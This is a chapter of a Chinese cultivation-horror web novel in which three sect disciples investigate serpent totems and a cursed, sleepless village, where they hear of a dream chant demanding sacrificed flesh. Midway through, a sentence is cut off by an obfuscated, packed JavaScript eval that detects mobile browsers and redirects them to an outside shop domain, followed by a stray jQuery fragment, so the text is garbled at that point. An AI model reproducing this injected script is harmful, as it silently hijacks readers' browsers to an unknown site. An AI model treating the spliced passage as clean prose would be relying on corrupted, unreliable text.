第一束光亮穿云而出,天光倾泻,山林退去夜色,颓势暴露在日光下。
三人临时接到宗门下达的任务:以宁平村为中心,探查周边三十公里的所有村庄。
昨日大片聚集山脚下的腐尸,今早连根毛都见不着。
宣期跟着陆迁宁走下山,她拿出芥子袋中取出多余的衣袍,将图图兜住,像背婴儿一样背在背上。远远看去竟真像背着孩子到处艰苦奔波的伟大母亲。
背后的图图蠕动几下,便再无动作。
宣期歪着脑袋,对于图图的乖顺大多时候感到狐疑。
——它太乖了,甚至太过通人性。
宣期和图图视线相对时,恍惚间感觉图图似乎在审视她,且那种审视是带着极强的目的来的
那就只有一个理由。
图图要成精了!
刚将小狗背在背上,身后林承声的噗笑声传来。
宣期系紧束带,转过头狠狠瞪了一眼林承声,恶狠狠道:“做甚?没见过人背小狗啊!”
林承声刚想嘲笑宣期,被陆迁宁一巴掌拍在胳膊上。
陆迁宁:“你俩别闹了,尽早完成,尽早回宗。”
自昨日起,见过那个女孩后,不安一直萦绕在她的心头。她隐隐有种预感,那个女孩肯定会再次找上宣期。
这次平安无事,那下次呢?她可不敢保证宣期能一直在她眼皮底下。
那种不安感愈演愈烈,一块璁珑温润的羊脂玉塞进宣期手中,她道:“昨日那人必然会再来,此人极其擅长布下幻境,虽说你的妖兽能护住你,但小心为上且拿着这个,若当真出了什么意外,就能靠这个找到你。”
“这太贵重了……”说着宣期握着玉石,推回给陆迁宁。
陆迁宁重新塞回来,放进她的怀中。
“拿着吧,我安心些。”
宣期小心将玉石揣在怀里,玉石表面残存的体温融进胸腔,心头一暖。
“谢谢师姐……”
其实昨夜所发生的事并未对她有所影响,甚至她隐约感觉女孩似乎有求于她。
林承声瞧见宣期手中的玉石,惊讶道:“师姐,这不是你家中……”
林承声话还没说完,陆迁宁果断截住话头,瞪着林承声道:“走吧。”
见师姐这般,林承声讪讪闭上嘴。
他们三人分成两队行动,陆迁宁独自向东去。
宣期和林承声朝着北边而去。
踩上飞剑,她就想起落地宁平村时吐得昏天暗地的情景,残留的呕吐感依旧停留在喉间。
她又想起林承声那一剑,如此选择也是无可厚非。
即使是现在,宣期也无法提供一个两全其美的办法。毕竟一个筑基,能在其中起到的作用微乎其微。
……
云雾擦过眼睫,凝成水珠滴在鞋面上。
很快就到了第一个村庄。
两人自高处向下看去,那座村庄和宁平村的情况相差不大。
甚至房屋相较宁平村更加稀少。
两人跳下飞剑,正对墙上蛇图腾。
“这里也有图腾。”宣期抿唇指着墙上的图腾道。
转过头,林承声也是这样的境况。
村庄上下到处都是这个图腾。
宣期望向村口立着的石碑,边沿经受风雨的打磨已然光滑圆润,藤蔓缠满碑壁,缝隙中隐约露出“泥塘村”三个字。
下一个村庄也是如此。
两个村庄、三个村庄、四个村庄……
两人仿佛在成排的死地里打转,眼前两条蛇不断在脑中打转。
宣期甚至已经将两条蛇看“活”了,她惊恐地指着面前的蛇,大喊:“活了!活了!”
在另一头察看的林承声疾驰而来,一来看到师妹对着挂在墙上那副暗红的图腾吱哇乱叫。
林承声翻起白眼:“你在说什么。”
宣期用力揉了揉眼睛,对着林承声讪讪一笑。
直到两人走到第五个村庄,终于有活人的身影。
降落时,村口石碑清楚写着:
——柳河村
宣期落地便觉村庄死气环绕,打一眼,饶是再迟钝的人,来此地都能感受到凝成实质的颓靡。
老人抱着孩子,双目无神地枯坐在门槛上,怀中的孩子面容凹陷;八尺大汉佝偻着脊背,肩上担子摇摇欲坠,迎面撞上拿着锄头的老汉,二人相撞,跌坐在地,愣愣对视许久才默默爬起来。
村口的大娘盯着从天上飞下来的人,不可置信地揉眼,丢下手中竹篮,猛然跪伏在地,高声大喊:“仙人显灵了,仙人显灵了——”
喊声将其他人都嚎了出来,几个脑袋从屋中探出,瞧见村口的两人和砰砰磕头的同村。
当即呼朋引伴,敲开一家又一家的门。
“仙人来我们村了!”
人头攒动间,每个走出村民眼底挂着青灰的眼圈,双眼不自觉显露疲态。
甚至有几个靠在门墙边,懒懒地看着他们。
前面为首的人络腮胡壮汉眼睑半开,像是老了十岁,宣期身上快意恩仇的江湖气让他望而却步。转向林承声,芝兰玉树般的风流公子,眼中光华大盛
——说白了就是宣期那股子走江湖,吃了上顿没下顿的穷酸感令他犹疑。
甚至身上还披着一块布,布里面装着一只狗。
经常被克扣灵石,身上自然就流露出拮据的穷酸气。
宣期看清村民神情变化,心中不禁悲叹:“向钱看的世界太过残酷。”
还未等两人有所动作,络腮胡壮汉深吸一口气,“扑通”一声跪在二人脚边,深情并茂地哭嚎:“仙人定要救救我们,我们实在活不下去了。”
宣期驾轻就熟地把络腮胡壮汉从地上扶起,对着身后那群准备跪下的村民,熟练道:“不必如此隆重,您但说无妨,我们来此便是解决村民烦忧之事。”
话也并非是客套,柳河村虽说还未到宁平村这种地步,但也初具雏形。
村民的模样看得她心惊,若继续放之任之,那大概就是下一个宁平村。
眼见宣期如此有眼力见,林承声斜睨着宣期投去赞赏的眼神。
宣期懒得理会,转过头去不看他。却对上一双希冀的眼神。
——是个小女孩。
她心口一滞。
恍惚间,她的羊角辫变得上下不齐,衣带变得散乱,她苦着一张脸望向她。
宣期再次定睛,那里是一片空。
为什么这时候会想起她呢?
宣期下意识去摸背后的图图,图图轻轻嘤咛几声,算是告诉宣期自己还活着。
壮汉一听,面上胡须抖三抖,眼泪跟开闸泄洪一般:“我们村子里的人好几日没睡过好觉了,哎哟——整整一月有余啊!”
哭嚎传遍村庄,人堆里竟传出低低的啜泣声,一高一低,此起彼伏。
“您慢慢说,别急。”
那壮汉哭声雷动,呕哑嘲哳,宣期两耳微微嗡鸣。
哭声苦涩,宣期静默听着,回想起自己七岁那年,被人从桥洞底下赶出去,也是如此恸哭。
苦难如此多种,眼泪都是共通的。
她心底酸涩,莫名的情绪在心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680961|207691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底翻涌。
壮汉哭得面颊血红,他用手掌擦去满脸涕泪,抽噎说道:“我是村长儿子,我叫大牛。您有所不知,在您来的前一个月,村中发生了一桩怪事,村子里的人皆梦到一位黑衣怪人,在梦中他让我们割下身上的肉,放到台子上。”
说着,他声音停顿,伸出手慌乱比划,声音颤抖道:“那么,那么高的肉山,全是白骨……还有,他念了,一句。”
大牛眼神逐渐涣散,宣期双掌相碰,掌风扑面,如雷贯耳的掌声劈开恐惧的桥梁,大牛蓦地回过神。
见人回过神,趁机问道:“念了什么?”
大牛眼神多出几分清明,他咬牙一字一句道:“生魂回避,亡魂拜谒,自销轮回,献祭其魂,以饲吾主。”
话落,他的身体如同抖落的筛子,眼珠上翻,口歪眼斜,面部肌肉疯狂抽搐,涎水顺着抽动的嘴角连成一条长线。
“大牛遭报应了!”人群中,宣期看过去,说话那人隐没在人堆里,恶意不加掩饰的流露。
村民神色惶惶地后退,最终作鸟兽散。总有几个胆大的探出头来看。
林承声一个箭步冲上来,两指间的黄符精确地塞进大牛口中。
黄符入口的刹那,纸张无火自燃,在他口中发出“滋滋”声。源源不断的黑烟飘向半空。
待到黄符燃尽,大牛眼珠咕噜一转,瞳孔转回正道,面容安宁。一套操作行云流水,宣期满目艳羡。
恰好撞上林承声朝宣期投来自得意满的目光。
心中升起的那点子艳羡陡然熄灭,转而撇嘴回应林承声。
嘴里符灰裹挟唾液化在口中,流进肚腹之中。大牛为之前自己的犹疑感到懊悔,起身又跪在地上,脑袋磕在泥地上发出“砰砰”闷响。
宣期望着跪地的人,再次将人扶起。那人似是同她较上劲,宣期扶起,又磕下。
废了浑身力气才将人扶起。
宣期服了。
林承声站在一旁饶有兴趣地看着宣期忙活,随后问道:“你们可有与村外人有过往来?”
“是有一些。”大牛又道,“隔壁村之前常常我们村子里买肉,不过我们自己都不够哩。”
“肉?什么肉?”
“猪肉、鸡肉,他们反正什么肉都要。”
两人交谈声渐行渐远,宣期一声不吭走进村庄。
村中和宁平村布局大致相似,但柳河村位于宁平村北边,处于地势较低处。
这一路过来,宣期观察到这一带都是靠水而居,泠泠水声流进耳中。
柳河村岸堤处一长道柳树,柳梢没水,随风自动,齐排翠绿向地势高处延伸。
柳河村大抵因此得名。
宣期蹲下,手心伸进水面下。
忽地后背一轻。
图图一跃而下,停在离宣期三丈远的岸边,前吻埋进水中。
“诶?图图你去哪?”宣期快步跟上。
打眼就瞧见图图将嘴里的东西吐在腿边,粉白色的球形沾了泥土,宣期定睛一看——是一个粉白色肉球,甚至肉球犹如活着一般勃勃跳动。仔细瞧上一番,也能看见上面盘旋的脉络及血管。
“肉球?”
想起从身上挖出来的一坨,边缘不齐,宣期脑中忽地闪过肉沫横飞,死者怒目圆瞪的恐怖场景。
图图撇过头,闭着眼不再看那团东西,甚至连河边的水都不愿触碰,一张嘴死死闭上。
宣期目光逆着倒流向上游,目视所及,风平浪静,水波不兴。
风暴的雨云已经飘到她们面前,它在地上跳动,欢庆着即将到来的风暴。